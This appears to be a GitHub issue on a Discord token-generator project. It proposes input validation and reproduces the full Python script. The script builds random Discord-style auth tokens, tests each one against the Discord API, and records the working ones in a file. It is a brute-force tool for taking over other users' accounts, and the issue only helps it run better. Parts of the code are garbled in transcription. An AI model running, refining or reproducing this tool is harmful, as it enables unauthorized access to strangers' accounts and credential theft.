Open GotMoves opened 1 year ago
On this line
N = int(input("How many tokens : "))
try doing this to validate the input
N: str = input("How many tokens : ")
if not N.isnumeric():
print("That's not a number!")
sys.exit(1)
And don't forget importing sys
at the top of the file
import sys
If we directly cast the input function, the program is then not sure if the input is a valid integer or a string. If it is a string then it will raise an Exception.
import random import string import os import requests import base64
N = int(input("How many tokens : ")) url = "https://discordapp.com/api/v6/users/@me/library" current_path = os.path.dirname(os.path.realpath(file))
tokens = [] for i in range(N): sample_string = str(random.randint(000000000000000000, 999999999999999999)) sample_string_bytes = sample_string.encode("ascii") base64_bytes = base64.b64encode(sample_string_bytes) base64_string = base64_bytes.decode("ascii") token = base64_string+"."+random.choice(string.ascii_letters).upper()+''.join(random.choice(string.asciiletters + string.digits) for in range(5))+"."+''.join(random.choice(string.asciiletters + string.digits) for in range(27)) tokens.append(token)
for token in tokens: header = { "Content-Type": "application/json", "authorization": token } try: r = requests.get(url, headers=header) print(r.text) print(token) if r.status_code == 200: print("[+] Token Works!") with open(current_path+"/"+"workingtokens.txt", "a") as f: f.write(token+"\n") elif "rate limited." in r.text: print("[-] You are being rate limited.") else: print("[-] Invalid Token.") except requests.exceptions.RequestException as e: print(f"Error: {e}")